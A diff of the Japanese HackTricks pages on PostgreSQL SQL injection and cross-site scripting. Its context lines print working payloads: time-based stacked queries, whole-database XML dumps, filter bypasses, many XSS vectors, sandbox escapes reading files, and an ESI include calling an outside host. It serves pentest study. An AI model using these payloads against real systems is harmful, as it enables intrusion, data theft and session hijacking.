PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、タイムインジェクションを介してスタッククエリを悪用することは可能です:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -65,13 +65,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
この関数は、データベース全体をXML形式で1行にダンプします(データベースが非常に大きい場合は注意してください。DoS攻撃を引き起こす可能性がありますし、クライアントにも影響を与えるかもしれません):
|
||||
この関数は、データベース全体をXML形式で1行にダンプします(データベースが非常に大きい場合は注意してください。DoS攻撃を引き起こす可能性がありますし、クライアントにも影響を与える可能性があります):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Hexでの文字列
|
||||
|
||||
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合**、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます:**
|
||||
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -91,15 +91,15 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
または `$` を使用します。このクエリは同じ結果を返します:
|
||||
または `$` を使用します。このクエリは同じ結果を返します:
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -112,8 +112,8 @@ GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (クロスサイトスクリプティング)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -11,24 +11,24 @@
|
|||
1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。
|
||||
2. **反映されている/使用されているコンテキストを見つけます**。
|
||||
3. **反映されている場合**
|
||||
1. **使用できる記号を確認し**、それに応じてペイロードを準備します:
|
||||
1. **使用できる記号を確認**し、それに応じてペイロードを準備します:
|
||||
1. **生のHTML**内で:
|
||||
1. 新しいHTMLタグを作成できますか?
|
||||
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
||||
3. 保護を回避できますか?
|
||||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できます。
|
||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できますか?
|
||||
2. **HTMLタグ内**で:
|
||||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
|
||||
2. **HTMLタグ内で**:
|
||||
1. 生のHTMLコンテキストに抜け出せますか?
|
||||
2. JSコードを実行するための新しいイベント/属性を作成できますか?
|
||||
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
||||
4. 保護を回避できますか?
|
||||
3. **JavaScriptコード内**で:
|
||||
3. **JavaScriptコード内で**:
|
||||
1. `<script>`タグをエスケープできますか?
|
||||
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
||||
3. テンプレートリテラル \`\` に入力がありますか?
|
||||
4. 保護を回避できますか?
|
||||
4. 実行されているJavascript **関数**
|
||||
4. 実行されているJavascript **関数**:
|
||||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||||
4. **使用されている場合**:
|
||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。
|
||||
|
@ -41,7 +41,7 @@
|
|||
|
||||
## 反映された値
|
||||
|
||||
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
|
||||
XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
|
||||
|
||||
* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
|
||||
* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。
|
||||
|
@ -49,21 +49,21 @@ XSSを成功裏に悪用するために最初に見つける必要があるの
|
|||
|
||||
## コンテキスト
|
||||
|
||||
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。
|
||||
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。
|
||||
|
||||
### 生のHTML
|
||||
|
||||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部です。\
|
||||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部に過ぎません。\
|
||||
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
|
||||
|
||||
### HTMLタグの属性内
|
||||
### HTMLタグ属性内
|
||||
|
||||
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
||||
|
||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)ことを試み、新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じて**JSコードを実行するイベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
クラス名を制御している場合のAngularによるXSSの奇妙な例:
|
||||
```html
|
||||
|
@ -73,10 +73,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
|||
```
|
||||
### Inside JavaScript code
|
||||
|
||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
|
||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
|
||||
|
||||
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
||||
* **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列を**終了**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -136,9 +136,9 @@ parentElement
|
|||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Universal XSS**
|
||||
### **ユニバーサルXSS**
|
||||
|
||||
この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
|
||||
この種のXSSは**どこにでも**見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
|
||||
いくつかの**例**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -153,11 +153,11 @@ parentElement
|
|||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## 生のHTML内に注入
|
||||
## 生のHTML内への注入
|
||||
|
||||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||||
この場合も、[**Client Side Template Injection**](../client-side-template-injection-csti.md)**を考慮してください。**\
|
||||
_**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\*****`--!>`**で閉じることができます。_
|
||||
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
|
||||
_**注: HTMLコメントは、`-->`または`--!>`を使用して閉じることができます。**_
|
||||
|
||||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||||
```html
|
||||
|
@ -257,7 +257,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
もし**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**して、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||
もし**HTMLタグの内部にいる**場合、最初に試すべきことは**タグからエスケープ**し、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||
もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
|
@ -280,7 +280,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る</a>`
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
||||
|
||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||
```javascript
|
||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**これらのプロトコルを注入できる場所**
|
||||
|
||||
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` **属性を受け入れるタグで使用できます**(ただし `<img>` は除く)
|
||||
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -359,7 +359,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -381,11 +381,11 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### リバースタブナビング
|
||||
### リバースタブナビゲーション
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`と`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
|
||||
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`**および**`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -393,8 +393,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
|||
|
||||
### イベントハンドラーのバイパス
|
||||
|
||||
まず、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))で役立つ**"on"イベントハンドラー**を確認してください。\
|
||||
もしこのイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
|
||||
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
もしこのイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### JSコード内
|
||||
|
||||
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
|
||||
`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,8 +490,8 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### テンプレートリテラル \`\`
|
||||
|
||||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||
したがって、入力がバックティックを使用しているJS文字列内に**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます:
|
||||
文字列を構築するために、シングルクォートやダブルクォート以外に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
|
||||
|
||||
これは次のように**悪用**できます:
|
||||
```javascript
|
||||
|
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScriptの改行(** [**JavaScriptの改行**](./#javascript-new-lines) **トリック)**
|
||||
**JavaScriptの改行(から** [**JavaScriptの改行**](./#javascript-new-lines) **トリック)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -742,14 +742,14 @@ top[8680439..toString(30)](1)
|
|||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
|
||||
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明が見つかります**。\
|
||||
また、**前述の投稿の最後には、** [**DOMクラッバー攻撃**](dom-xss.md#dom-clobbering)についての説明がありますので、お忘れなく。
|
||||
|
||||
### セルフXSSのアップグレード
|
||||
|
||||
### クッキーXSS
|
||||
|
||||
クッキー内にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
||||
ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -763,7 +763,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### セッションミラーリング
|
||||
|
||||
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ることになります。
|
||||
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることになります。
|
||||
|
||||
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
||||
|
||||
|
@ -780,7 +780,7 @@ top[8680439..toString(30)](1)
|
|||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoRマスアサインメント**のため、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加されることがあります。\
|
||||
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると:
|
||||
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -822,7 +822,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||
|
||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
|
||||
|
@ -833,7 +833,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
|
@ -897,7 +897,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -983,14 +983,14 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||
もし**すべてが未定義**であれば、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||
|
||||
* import()を使用して
|
||||
* import()を使用する
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* `require`を間接的にアクセスする
|
||||
* `require`への間接アクセス
|
||||
|
||||
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって関数内にラップされます。
|
||||
```javascript
|
||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### SSRFへのXSS
|
||||
|
||||
**キャッシュを使用しているサイトでXSSを取得しましたか**?このペイロードを使用して**それをSSRFにアップグレードしてみてください**:
|
||||
**キャッシュを使用しているサイトでXSSを取得しましたか?** このペイロードを使用して**それをSSRFにアップグレード**してみてください:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
|